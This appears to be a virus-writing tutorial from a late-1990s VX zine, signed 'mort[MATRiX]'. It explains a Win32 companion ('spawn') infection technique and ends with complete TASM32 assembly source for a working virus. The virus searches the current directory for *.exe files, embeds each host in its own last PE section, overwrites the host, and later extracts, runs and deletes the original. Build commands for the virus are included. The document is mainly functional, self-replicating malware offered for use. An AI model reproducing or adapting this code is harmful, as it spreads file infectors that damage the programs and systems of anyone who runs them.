This text is for educational purpose only. Author is not responsibile for any damage this
informations could cause. Anyway, enjoy it,...
Well, this is my very first article, so i hope u'll be tolerant to my english, and other
possible bugs,...anyway if not - fuck u... I managed to create this article, 'coz i havent
seen any on this theme.
So, spawn infection. This infection is known from DOS times, when virus rename itself like
host but with the COM extensin, and when user typedname of the host, virus was loaded
first, it did its work, and then it loaded host. In w32 world, i think there's no
possibility of using COM extension at all. I saw some virus, where the host was carried in
other file with some other extension. Yes, it is possibility, but i think my method (sure,
i dont know, if i invented it, but nobody told me that..) is prettier, 'coz i use only
host name, and no other files.
infection idea
Assume, that virus was loaded, infected some files (c later bout this topic), and we're
going to load our host file. I said, that i dont use any other file, so where's host?
Well, host is in the last section of our virus file. Actually, i remove the host file to
last section of virus, and rename virus by the host name. (comment - reality is a little
bit different) To load host like a process, we have to create new file and copy there
contents of this section. When host'll finished its work, virus delete it (c later bout
this topic).
There's one little problem in this part. If we create new file with host name, there'll be
two files with same name. Hmmm, i solved it by adding 0ffh byte infront of the name of
host. I know it's a little bit strange, but i have no idea how to solve it(if some idea,
contact me).
load process
To load a process, we have CreateProcess API. To use it, we need to know some structures.
I'll describe them very quickly.
---------------------
.startupinfo structure - there's only one thing u have to set and it is
--------------------- size of structure - cb.
Others fields should be nulls.
...
mov dword ptr [_si.cb],_siSize
...
startUpInfo struct
cb dd ?
lpReserved dd ?
lpDesktop dd ?
lpTitle dd ?
dwX dd ?
dwY dd ?
dwXSize dd ?
dwYSize dd ?
dwXCountChars dd ?
dwYCountChars dd ?
dwFillAttribute dd ?
dwFlags dd ?
wShowWindow dw ?
cbReserved2 dw ?
lpReserved2 dd ?
hStdInput dd ?
hStdOutput dd ?
hStdError dd ?
startUpInfo ends
-----------------------------
.process information structure - this is init by API itself
-----------------------------
process_information struct
hProcess dd ? ;here'll be new process handle
hThread dd ? ; -//- -//- thread -//-
dwProcessId dd ?
dwThreadId dd ?
process_information ends
-----------------------------
.security attributes structure - this struc gives attributes to new
----------------------------- procces and new threads, so we need
to declare two vars with this struc.
_saProcess security_attributes <>
_saThread security_attributes <>
There're some thing we have to init. First it is size of actuall structure. The next is
bInheritHandle. This var can have to state: TRUE or FLASE. We need to inherit handles of
new process, to know when the process finished its work.
...
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1 ;TRUE
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1 ;TRUE
...
security_attributes struct
nLength dd ?
lpSecurityDescriptor dd ?
bInheritHandle dd ?
security_attributes ends
Finally we can call CreateProcess by this prototype:
(xxxP - pointer)
push process_informationP
push startupinfoP
push current_directoryP ;set to null
push enviroment ;set to null
push create ;set to null
push inherit_handles ;set to 1
push security_attributes_threadP
push security_attributes_processP
push command_lineP
push host_nameP
call CreateProcess
wait for end of host process
Assume, we ran host by CreateProcess API, and we have handle of it. Wehave to wait until
the host process will finish it's work. This is done by WaitForSingleObject API.
push timeout ;time we'll wait for object
push handle ;handle we wait for
call WaitForSingleObject
return:
eax = 0 - process was finished, we can delete the host file
eax = -1 - some error occured, we can chcek it by GetLastError API
I set timeout to _INFINITE - means, we'll wait until process end.
Naturally, there're other values it could be set.
infection
I know, that there're many ways of spawn infecting, but i'll describe only one - mine.
Assume, that we found some file, we want to infect, and we mapped it. We have to allocate
space for host.
...
call GlobalAlloc,_MEM_ZEROINIT or _MEM_FIXED,[_memSize]
mov [_memBase],eax
Then we store host to new mem space.
mov edi,eax
mov esi,[_hostMapAddres]
push esi esi
;for code below
mov ecx,[_fileSearch.FileSizeLow]
rep movsb
Now, we start copying our virus body to the host file. First, we copy the MZ and PE header
pop edi
mov esi,_imageBase
mov ecx,_1stcopy ; 02c0h
push edi
rep movsb
Now, we have to look at sections' headers and copy their bodies to be like in EXE file,
because what we have now is process.
pop ebx
add ebx,_1stheader ;offset of first section's header
mov ecx,_secCount ;4
@nextSection:
pop edi
push edi ecx
add edi,[ebx + 014h] ;sec's physical offset
mov ecx,[ebx + 010h] ;sec's physical size
mov esi,_imageBase
add esi,[ebx + 0ch] ;virtual offset
rep movsb
add ebx,028h ;see next
sec's header
pop ecx
dec ecx
jnz @nextSection
Now, we copied bodies of four sections, but there're five in our body. (the last one is
debug section, bcoz i compile it with debug inf.) We have to set this header to carry our
host.
pop edi
push edi
mov eax,[_fileSearch.FileSizeLow]
push eax eax ;for sec allign and for copy
mov ecx,_fileAllign ;file allign - 0200h - usually ;)
xor edx,edx
div ecx
inc eax
mul ecx ;alligned value of new sec size
mov word ptr [edi + 038h],'TM' ;stupid infection mark,...
add [edi + 0150h],eax ;add image size
add edi,[ebx + 014h] ;where to copy
mov esi,[_memBase] ;offset we stored host
mov [ebx + 010h],eax ;sec's phys. size
pop eax
mov ecx,_sectionAllign ;mem allign - 01000h - x86 rulez
xor edx,edx
div ecx
inc eax
mul ecx
mov [ebx + 08h],eax ;new mem size
pop ecx ;bytes to copy
rep movsb
pop eax ;host map addres
xchg edi,eax
sub eax,edi ;new file size: vir + host
mov [_newFileSize],eax ;for SetFilePointer
call GlobalFree,[_memBase] ;very usefull
Well, now we have in _hostMapAddres our virus like a valid EXE, with host file in the last
section. Now we have to unmap it, and set file pointer to '_newFileSize' value.
execute host
After all infection work, we are going to execute host. We have to create file with host
name, (u remember the 0ffh byte,...) map it, and copy there our host from last section.
mov edi,eax
;map addres
mov esi,_imageBase + _lastSecOffs ;lastsecoffset + 014
lodsd
;RVA value
add eax,_imageBase
xchg eax,esi
mov ecx,[_hostSize1]
rep movsb
Now, we have to close it, and set structures for CreateProcess API.
mov dword ptr [_si.cb],_siSize
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1
And finally:
call CreateProcessA,offset _execName,0,offset _saProcess,
offset _saThread,1,0,0,0,offset _si,offset _pi
And now, there's time for waiting, until process will shut down,...
call WaitForSingleObject,_pi.hProcess,_INFINITE
call CloseHandle,offset _pi.hThread ;needed
call CloseHandle,offset _pi.hProcess
push offset _execName
call DeleteFileA ;delete host
Known bug - this version of spawn wont work right with files, which needs some specified
command line stuff, but if u understand this article im sure u are able to fix it,...
no mood to do it, anyway, c it in my spawn resident soon
Thats all,...
I include source of my spawn virus. It was made for this article, so there're many ways
that could be optimized , added or deleted. It works on w98, so i suppose it works on w95.
Anyway im not sure if it works under win NT, bcoz i havent it.
mort[MATRiX]
email - mort.matrix@post.cz
site - http://altern.org/mvx
cut it where u want, but i think heer it'll best
comment "
spawn by mort[MATRiX]
TASM32 /ml /m /zi spawn.asm
TLINK32 -Tpe -aa -c -x -v spawn.obj,,,import32.lib
wcsec spawn.exe ;ok,
pewrsec forewer,...
"
.386
.model flat,stdcall
;------------------------------------------------( externals )-------------
extrn MessageBoxA : proc
extrn ExitProcess : proc
extrn CreateProcessA : proc
extrn FindFirstFileA : proc
extrn FindNextFileA : proc
extrn CreateFileMappingA : proc
extrn MapViewOfFile : proc
extrn UnmapViewOfFile : proc
extrn SetFileAttributesA : proc
extrn CreateFileA : proc
extrn CloseHandle : proc
extrn GlobalAlloc : proc
extrn GlobalFree : proc
extrn WaitForSingleObject : proc
extrn SetFilePointer : proc
extrn SetEndOfFile : proc
extrn DeleteFileA : proc
extrn GetCommandLineA : proc
;------------------------------------------------( structures )------------
max_path = 260
filetime struc
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ends
fileSearch struc
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP (?)
AlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
fileSearch ends
startUpInfo struct
cb dd ?
lpReserved dd ?
lpDesktop dd ?
lpTitle dd ?
dwX dd ?
dwY dd ?
dwXSize dd ?
dwYSize dd ?
dwXCountChars dd ?
dwYCountChars dd ?
dwFillAttribute dd ?
dwFlags dd ?
wShowWindow dw ?
cbReserved2 dw ?
lpReserved2 dd ?
hStdInput dd ?
hStdOutput dd ?
hStdError dd ?
startUpInfo ends
process_information struct
hProcess dd ?
hThread dd ?
dwProcessId dd ?
dwThreadId dd ?
process_information ends
security_attributes struct
nLength dd ?
lpSecurityDescriptor dd ?
bInheritHandle dd ?
security_attributes ends
;------------------------------------------------( undef data )------------
.data?
_si startUpInfo <>
_pi process_information <>
_saProcess security_attributes <>
_saThread security_attributes <>
_fileSearch fileSearch <>
_hostFileHandle dd ? ;map variables
_hostMapHandle dd ?
_hostMapAddres dd ?
_memSize dd ? ;mem alloc variables
_memBase dd ?
_newFileSize dd ? ;new file size of host
_execName db ?
_hostName1 db 0100h dup(?) ;new of our host
_hostSize1 dd ? ;host file size
;------------------------------------------------( data )------------------
.data
_INFINITE = -1
_CREATE_NEW = 1
_MEM_FIXED = 0
_MEM_ZEROINIT = 040h
_imageBase = 0400000h
_1stcopy = 02c0h ;static part of our exe
_1stheader = 01f8h ;1st header relative
_secCount = 4 ;number of sections we have
_saSize = 12
_piSize = 16
_siSize = 68
_vSize = 04000h ;i like this number
_lastSecOffs = 01f8h + 4*028h + 0ch
_fileAllign = 0200h
_sectionAllign = 01000h
_title db '.spawn by mort[MATRiX]',0
_mes db 'bleah,...',0
_mask db '*.exe',0
_hostName db 0100h dup(0)
_hostSize dd ?
;------------------------------------------------( code )------------------
.code
@spawn:
mov [_execName],0ffh ;0ffh shit,...
mov esi,offset _hostName
mov edi,offset _hostName1
mov ecx,0100h
rep movsb
mov eax,[_hostSize]
mov [_hostSize1],eax
call FindFirstFileA,offset _mask,offset _fileSearch
inc eax
jz @noFileInDirectory
@nextFile:
push eax
call @infect
pop eax
dec eax
call FindNextFileA,eax,offset _fileSearch
or eax,eax
jnz @nextFile
@noFileInDirectory:
jmp @exeHost
;------------------------------------( infection )-------------------------
@infect:
call SetFileAttributesA,offset _fileSearch.FileName,080h
call CreateFileA,offset _fileSearch.FileName,/
80000000h or 40000000h,1,0,3,0,0
inc eax
jz @bad1
dec eax
mov [_hostFileHandle],eax
mov ebx,[_fileSearch.FileSizeLow]
mov [_newFileSize],ebx
add ebx,_vSize
push ebx ;save bytes to map
mov [_memSize],ebx ;& store it
call CreateFileMappingA,eax,0,4,0,ebx,0
mov [_hostMapHandle],eax
call MapViewOfFile,eax,2,0,0
mov [_hostMapAddres],eax
cmp word ptr [eax + 038h],'TM'
jz @bad2
call @finalInfection
@bad2:
push dword ptr [_hostMapAddres]
call UnmapViewOfFile
push dword ptr [_hostMapHandle]
call CloseHandle
push 0 0
push [_newFileSize]
push [_hostFileHandle]
call SetFilePointer
push [_hostFileHandle]
call SetEndOfFile
push dword ptr [_hostFileHandle]
call CloseHandle
call SetFileAttributesA,offset _fileSearch.FileName,
[_fileSearch.FileAttributes]
@bad1:
ret
;----------------------------------------( whoops )------------------------
@finalInfection:
mov edi,offset _hostName ;some needed stuff
mov esi,offset _fileSearch.FileName
mov ecx,0100h
rep movsb
mov eax,[_fileSearch.FileSizeLow]
mov [_hostSize],eax
call GlobalAlloc,_MEM_ZEROINIT or _MEM_FIXED,[_memSize]
mov [_memBase],eax
mov edi,eax ;store host
mov esi,[_hostMapAddres]
push esi esi
mov ecx,[_fileSearch.FileSizeLow]
rep movsb
pop edi
mov esi,_imageBase ;copy the static part
mov ecx,_1stcopy
push edi
rep movsb
pop ebx
add ebx,_1stheader
mov ecx,_secCount
@nextSection:
pop edi
push edi ecx
add edi,[ebx + 014h]
mov ecx,[ebx + 010h]
mov esi,_imageBase
add esi,[ebx + 0ch]
rep movsb
add ebx,028h
pop ecx
dec ecx
jnz @nextSection
pop edi
push edi
mov eax,[_fileSearch.FileSizeLow]
push eax eax ;for sec allign and for copy
mov ecx,_fileAllign
xor edx,edx
div ecx
inc eax
mul ecx ;alligned value of new sec size
mov word ptr [edi + 038h],'TM' ;aaaaaaaaaaaaah
add [edi + 0150h],eax ;add image size
add edi,[ebx + 014h] ;where to copy
mov esi,[_memBase]
mov [ebx + 010h],eax
pop eax
mov ecx,_sectionAllign
xor edx,edx
div ecx
inc eax
mul ecx
mov [ebx + 08h],eax
pop ecx ;bytes to copy
rep movsb
pop eax
xchg edi,eax
sub eax,edi ;new file size: vir + host
mov [_newFileSize],eax
call GlobalFree,[_memBase]
ret
;----------------------------------------( execute host )------------------
@exeHost:
cmp [_hostName1],0
jz @firstExecuting
call CreateFileA,offset _execName,80000000h or /
40000000h,1,0,_CREATE_NEW,0,0
mov [_hostFileHandle],eax
mov ebx,[_hostSize1]
call CreateFileMappingA,eax,0,4,0,ebx,0
mov [_hostMapHandle],eax
call MapViewOfFile,eax,2,0,0,[_hostSize1]
mov [_hostMapAddres],eax
mov edi,eax
mov esi,_imageBase + _lastSecOffs
lodsd
add eax,_imageBase
xchg eax,esi
mov ecx,[_hostSize1]
rep movsb
push dword ptr [_hostMapAddres]
call UnmapViewOfFile
push dword ptr [_hostMapHandle]
call CloseHandle
push dword ptr [_hostFileHandle]
call CloseHandle
mov dword ptr [_si.cb],_siSize
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1
call CreateProcessA,offset _execName,0,offset _saProcess,offset/
_saThread,1,0,0,0,offset _si,offset _pi
call WaitForSingleObject,_pi.hProcess,_INFINITE
call CloseHandle,offset _pi.hThread
call CloseHandle,offset _pi.hProcess
push offset _execName
call DeleteFileA
@firstExecuting:
call MessageBoxA,0,offset _mes,offset _title,0
call ExitProcess,0
end @spawn